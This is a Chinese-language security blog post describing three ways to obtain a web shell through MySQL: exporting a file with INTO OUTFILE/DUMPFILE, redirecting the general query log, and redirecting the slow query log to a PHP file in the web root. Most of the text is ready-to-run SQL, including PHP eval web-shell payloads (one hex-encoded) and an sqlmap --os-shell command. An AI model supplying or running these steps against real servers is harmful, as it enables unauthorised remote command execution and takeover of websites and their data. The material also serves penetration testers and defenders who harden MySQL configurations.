MySQL GetShell的方法


1 导出文件

1.1 利用条件

1、MySQL用户对web目录具有文件导出权限(默认只有root用户有),能够使用单引号

2、获得网站绝对路径

3、secure_file_priv没有具体值

secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。如下关于secure_file_priv的配置介绍

secure_file_priv的值为null ,表示限制mysqld 不允许导入/导出,当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入/导出只能发生在/tmp/目录下,当secure_file_priv的值没有具体值时,表示不对mysqld 的导入/导出做限制

1.2 利用方法

1、查看具有文件导出权限的数据库用户

select group_concat(user,0x3a,file_priv) from mysql.user;

1、查看secure_file_priv的值

select @@secure_file_priv;
# 或show global variables like '%secure%';

2、修改secure_file_priv的值为空,不是NULL

如果要想修改此路径的话,只能通过修改启动时添加特定参数或者修改配置文件后重启服务来实现。

3、若三个条件都成立,直接利用outfile或dumpfile导出文件

select '<?php phpinfo() ?>' into outfile '/www/work/webshell.php';
# 或
# sqlmap.py -d "mysql://root:[email protected]:3306/mysql" --os-shell
# select 0x3c3f706870206576616c28245f524551554553545b315d293b3f3e into outfile 'C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW\\outfile.php'

2 全局日志

2.1 利用条件

需具有设置全局日志的权限

2.2 利用方法

1、查看全局日志是否开启及日志路径,默认为关闭状态

show variables like '%general%'; 

2、开启全局日志功能

set global general_log = on;

3、设置日志生成路径及文件

set global general_log_file = '/www/xx.php'; 

4、构造语法错误将恶意代码写入文件

select '<?php eval($_POST['cmd']);?>';

5、修改为原来路径,然后关闭全局日志功能

set global general_log_file='/xxx/xxxx';
set global general_log = off;

3 慢查询日志GetShell

比全局日志好,全局日志太大,shell容易500,慢查询日志体积小

通过开启慢查询日志,配置可解析日志文件GETSHELL。MySQL的慢查询日志是MySQL提供的一种日志记录,它用来记录在MySQL中响应时间超过阀值的语句。long_query_time的默认值为10,意思是运行10S以上的语句。该值可以指定为微秒的分辨率。具体指运行时间超过long_query_time值的SQL,则会被记录到慢查询日志中。对日志量庞大,直接访问日志网页极有可能出现500错误。通过访问这种慢查询的日志文件GETSHELL确实是一种帮助。

3.1 利用条件

需具有设置慢查询日志的权限

3.2 利用方法

1、查看慢查询功能是否开启及文件路径,默认为关闭状态

show variables like '%slow%';

2、设置慢查询日志生成路径及文件,并开启慢查询功能

set GLOBAL slow_query_log_file='C:/phpStudy/WWW/slow.php';
set GLOBAL slow_query_log=on;
set GLOBAL log_queries_not_using_indexes=on;

3、将恶意代码写入文件

select '<?php phpinfo();?>' from mysql.db where sleep(10);

4、恢复慢查询日志路径,并关闭该功能

声明:Hack All Sec的博客|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - MySQL GetShell的方法


Hacker perspective for security